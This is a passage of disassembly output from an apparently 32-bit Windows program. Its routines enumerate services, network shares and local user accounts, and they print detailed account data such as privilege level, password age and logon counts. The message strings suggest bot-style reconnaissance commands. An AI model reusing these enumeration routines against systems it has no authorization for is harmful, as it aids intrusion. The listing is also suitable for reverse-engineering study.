loc_40D952 ; --------------------------------------------------------------------------- loc_40D8CE: ; CODE XREF: sub_40D835+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8D5: ; CODE XREF: sub_40D835+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8DC: ; CODE XREF: sub_40D835+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8E3: ; CODE XREF: sub_40D835+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D835+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 jz short loc_40D94D lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40D9A1[ecx] jmp off_40D979[ecx*4] ; switch jump loc_40D90E: ; DATA XREF: ___:off_40D979o push offset aTheSpecifiedDa ; jumptable 0040D907 case 7 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D915: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDepe ; jumptable 0040D907 case 17 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D91C: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDe_0 ; jumptable 0040D907 case 10 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D923: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasB ; jumptable 0040D907 case 0 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D92A: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheSpecified_0 ; jumptable 0040D907 case 2 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D931: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceCoul ; jumptable 0040D907 case 11 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D938: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHa_0 ; jumptable 0040D907 case 14 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D93F: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheRequested_1 ; jumptable 0040D907 case 3 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasN ; jumptable 0040D907 case 4 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D94D: ; CODE XREF: sub_40D835+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40D952: ; CODE XREF: sub_40D835+41j ; sub_40D835+4Bj ... push offset dword_443A78 call sub_4172AE pop ecx pop ecx jmp short loc_40D973 ; --------------------------------------------------------------------------- loc_40D960: ; CODE XREF: sub_40D835+36j ; sub_40D835+89j ... push eax ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_443A78 call sub_4172AE add esp, 0Ch loc_40D973: ; CODE XREF: sub_40D835+129j mov eax, offset dword_443A78 retn sub_40D835 endp ; --------------------------------------------------------------------------- off_40D979 dd offset loc_40D923 ; DATA XREF: sub_40D835+D2r dd offset loc_40D92A ; jump table for switch statement dd offset loc_40D93F dd offset loc_40D946 dd offset loc_40D90E dd offset loc_40D91C dd offset loc_40D931 dd offset loc_40D938 dd offset loc_40D915 dd offset loc_40D960 byte_40D9A1 db 0, 9, 1, 2 ; DATA XREF: sub_40D835+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9B3 proc near ; CODE XREF: sub_40EE72+2094p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43F65C push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40D9EB: ; CODE XREF: sub_40D9B3+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43F628 test eax, eax jnz short loc_40DA25 nop call near ptr 264030Ch cmp eax, 0EAh jnz loc_40DAD9 loc_40DA25: ; CODE XREF: sub_40D9B3+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40DAD0 lea esi, [ebp+var_188] loc_40DA36: ; CODE XREF: sub_40D9B3+117j mov eax, [esi+8] dec eax jz short loc_40DA7F dec eax jz short loc_40DA78 dec eax jz short loc_40DA71 dec eax jz short loc_40DA6A dec eax jz short loc_40DA63 dec eax jz short loc_40DA5C dec eax jz short loc_40DA55 push offset aUnknown_0 ; " Unknown" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA55: ; CODE XREF: sub_40D9B3+99j push offset aPaused_0 ; " Paused" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA5C: ; CODE XREF: sub_40D9B3+96j push offset aPausing ; " Pausing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA63: ; CODE XREF: sub_40D9B3+93j push offset aContinuing ; " Continuing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA6A: ; CODE XREF: sub_40D9B3+90j push offset aRunning ; " Running" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA71: ; CODE XREF: sub_40D9B3+8Dj push offset aStoping ; " Stoping" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA78: ; CODE XREF: sub_40D9B3+8Aj push offset aStarting ; " Starting" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA7F: ; CODE XREF: sub_40D9B3+87j push offset aStopped ; " Stopped" loc_40DA84: ; CODE XREF: sub_40D9B3+A0j ; sub_40D9B3+A7j ... lea eax, [ebp+var_20] push eax call sub_4172AE pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4172AE push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40DA36 loc_40DAD0: ; CODE XREF: sub_40D9B3+77j cmp [ebp+var_8], ebx jnz loc_40D9EB loc_40DAD9: ; CODE XREF: sub_40D9B3+6Cj push [ebp+var_C] call dword_43F56C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAF0 proc near ; CODE XREF: sub_40EE72:loc_410FB4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40DB8A mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40DB19 dec eax jnz short loc_40DB6A push edi push 0 call sub_40DCC3 pop ecx pop ecx jmp short loc_40DB66 ; --------------------------------------------------------------------------- loc_40DB19: ; CODE XREF: sub_40DAF0+18j cmp [ebp+arg_8], 0 jnz short loc_40DB58 push 24h push edi call sub_418F50 pop ecx test eax, eax pop ecx jnz short loc_40DB58 push 57h pop eax loc_40DB30: ; CODE XREF: sub_40DAF0+78j push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_443D34 push off_42E7A0[eax*4] push offset dword_42EE98 push esi call sub_4172AE add esp, 14h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB58: ; CODE XREF: sub_40DAF0+2Dj ; sub_40DAF0+3Bj push [ebp+arg_8] push edi push 0 call sub_40DC17 add esp, 0Ch loc_40DB66: ; CODE XREF: sub_40DAF0+27j test eax, eax jnz short loc_40DB30 loc_40DB6A: ; CODE XREF: sub_40DAF0+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_443D34 push off_42E7A4[eax*4] push offset dword_42EE6C push esi call sub_4172AE add esp, 10h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB8A: ; CODE XREF: sub_40DAF0+Aj mov eax, [ebp+arg_0] mov esi, offset dword_443D34 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EE38 push esi call sub_4172AE add esp, 0Ch loc_40DBAA: ; CODE XREF: sub_40DAF0+66j ; sub_40DAF0+98j mov eax, esi pop edi pop esi pop ebp retn sub_40DAF0 endp ; =============== S U B R O U T I N E ======================================= sub_40DBB0 proc near ; CODE XREF: sub_415F86+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40DBBD xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40DBBD: ; CODE XREF: sub_40DBB0+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_424150 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_443F34, 1 mov ebp, eax jnz short loc_40DBFA or byte_443F34, 1 lea eax, [ebp+1] push eax call sub_4185F5 pop ecx mov dword_443CD4, eax loc_40DBFA: ; CODE XREF: sub_40DBB0+32j push esi push esi push ebp push dword_443CD4 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_443CD4 pop edi pop ebp pop ebx pop esi retn sub_40DBB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC17 proc near ; CODE XREF: sub_40DAF0+6Ep ; sub_4162AA+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_418F50 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40DC82 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43F568 pop edi leave retn sub_40DC17 endp ; =============== S U B R O U T I N E ======================================= sub_40DC82 proc near ; CODE XREF: sub_40DC17+Ap ; sub_40DC17+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40DC8F pop ebp retn ; --------------------------------------------------------------------------- loc_40DC8F: ; CODE XREF: sub_40DC82+9j push ebx push esi mov esi, dword_424070 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_4185F5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40DC82 endp ; =============== S U B R O U T I N E ======================================= sub_40DCC3 proc near ; CODE XREF: sub_40DAF0+20p ; sub_415F86+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push 0 push eax push esi call dword_43F540 pop esi retn sub_40DCC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCE6 proc near ; CODE XREF: sub_40EE72+2169p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40DC82 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40DD1F: ; CODE XREF: sub_40DCE6+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43F5B4 mov ebx, eax cmp ebx, esi jz short loc_40DD82 cmp ebx, 0EAh jz short loc_40DD82 push ebx push ebx call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42EEF4 push eax call sub_4172AE push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40DDEF ; --------------------------------------------------------------------------- loc_40DD82: ; CODE XREF: sub_40DCE6+5Dj ; sub_40DCE6+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40DDE6 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40DD90: ; CODE XREF: sub_40DCE6+FCj push dword ptr [esi+10h] call dword_43F55C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40DDA7 mov eax, offset aNo ; "No" loc_40DDA7: ; CODE XREF: sub_40DCE6+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4172AE push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40DD90 xor esi, esi loc_40DDE6: ; CODE XREF: sub_40DCE6+A2j push [ebp+var_4] call dword_43F6F8 loc_40DDEF: ; CODE XREF: sub_40DCE6+9Aj cmp ebx, 0EAh jz loc_40DD1F xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40DCE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE07 proc near ; CODE XREF: sub_40EE72:loc_411047p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40DEAC mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40DE49 dec eax jz short loc_40DE3E dec eax jnz short loc_40DE64 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40DF4E add esp, 14h jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE3E: ; CODE XREF: sub_40DE07+1Dj push ebx push edi call sub_40DF2D pop ecx pop ecx jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE49: ; CODE XREF: sub_40DE07+1Aj cmp [ebp+arg_8], edi jz short loc_40DE5D push [ebp+arg_8] push ebx push edi call sub_40DED3 add esp, 0Ch jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE5D: ; CODE XREF: sub_40DE07+45j push 57h pop eax loc_40DE60: ; CODE XREF: sub_40DE07+35j ; sub_40DE07+40j ... cmp eax, edi jnz short loc_40DE84 loc_40DE64: ; CODE XREF: sub_40DE07+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_443F38 push off_42E7A4[eax*4] push offset dword_42EFD8 push esi call sub_4172AE add esp, 10h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DE84: ; CODE XREF: sub_40DE07+5Bj push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_443F38 push off_42E7A0[eax*4] push offset dword_42EF9C push esi call sub_4172AE add esp, 14h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DEAC: ; CODE XREF: sub_40DE07+Dj mov eax, [ebp+arg_0] mov esi, offset dword_443F38 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EF64 push esi call sub_4172AE add esp, 0Ch loc_40DECC: ; CODE XREF: sub_40DE07+7Bj ; sub_40DE07+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40DE07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DED3 proc near ; CODE XREF: sub_40DE07+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40DC82 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43F54C pop edi leave retn sub_40DED3 endp ; =============== S U B R O U T I N E ======================================= sub_40DF2D proc near ; CODE XREF: sub_40DE07+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push eax push esi call dword_43F53C pop esi retn sub_40DF2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF4E proc near ; CODE XREF: sub_40DE07+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43F6C0 test eax, eax mov [ebp+arg_0], eax jnz loc_40E2F6 mov eax, [ebp+var_4] test eax, eax jz loc_40E331 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4172AE mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_40E06D dec eax jz short loc_40E066 dec eax jz short loc_40E05F mov eax, offset aUnknown ; "Unknown" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E05F: ; CODE XREF: sub_40DF4E+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E066: ; CODE XREF: sub_40DF4E+105j mov eax, offset aUser_0 ; "User" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E06D: ; CODE XREF: sub_40DF4E+102j mov eax, offset aGuest ; "Guest" loc_40E072: ; CODE XREF: sub_40DF4E+10Fj ; sub_40DF4E+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4172AE push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4172AE push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 add esp, 20h pop edi pop ebx jmp short loc_40E322 ; --------------------------------------------------------------------------- loc_40E2F6: ; CODE XREF: sub_40DF4E+35j push eax lea eax, [ebp+var_204] push offset dword_42F008 push eax call sub_4172AE push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40D679 add esp, 20h loc_40E322: ; CODE XREF: sub_40DF4E+3A6j cmp [ebp+var_4], 0 jz short loc_40E331 push [ebp+var_4] call dword_43F6F8 loc_40E331: ; CODE XREF: sub_40DF4E+40j ; sub_40DF4E+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_40DF4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E337 proc near ; CODE XREF: sub_40EE72+21F2p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40DC82 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40E376: ; CODE XREF: sub_40E337+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43F5D0 cmp eax, esi mov [ebp+var_C], eax jz short loc_40E3D7 cmp eax, 0EAh jz short loc_40E3D7 push eax push eax call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42F218 push eax call sub_4172AE push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E3D7: ; CODE XREF: sub_40E337+62j ; sub_40E337+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40E465 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40E452 loc_40E3E9: ; CODE XREF: sub_40E337+EDj cmp edi, esi jz short loc_40E428 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_4172AE push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40E3E9 jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E428: ; CODE XREF: sub_40E337+B4j lea eax, [ebp+var_218] push offset dword_42F1D4 push eax call sub_4172AE push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 1Ch loc_40E452: ; CODE XREF: sub_40E337+9Ej ; sub_40E337+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40E465 push edi call dword_43F6F8 xor edi, edi mov [ebp+var_4], edi loc_40E465: ; CODE XREF: sub_40E337+A5j ; sub_40E337+120j cmp [ebp+var_C], 0EAh jz loc_40E376 cmp edi, esi jz short loc_40E47D push edi call dword_43F6F8 loc_40E47D: ; CODE XREF: sub_40E337+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4172AE push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_40E337 endp ; =============== S U B R O U T I N E ======================================= sub_40E4B7 proc near ; CODE XREF: sub_40DAF0+41p ; sub_40DCE6+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_40E569 jz loc_40E562 cmp eax, 7Bh ja short loc_40E52E jz short loc_40E524 cmp eax, 5 jz short loc_40E51A cmp eax, 8 jz short loc_40E510 cmp eax, 32h jz short loc_40E506 cmp eax, 35h jz short loc_40E4FC cmp eax, 57h jnz loc_40E5B8 push offset aInvalidParamet ; "Invalid parameter." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E4FC: ; CODE XREF: sub_40E4B7+30j push offset aServerNameNotF ; "Server name not found." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E506: ; CODE XREF: sub_40E4B7+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40E5D9 ; --------------------------------------------------------------------------- loc_40E510: ; CODE XREF: sub_40E4B7+26j push offset aNotEnoughMemor ; "Not enough memory." jmp 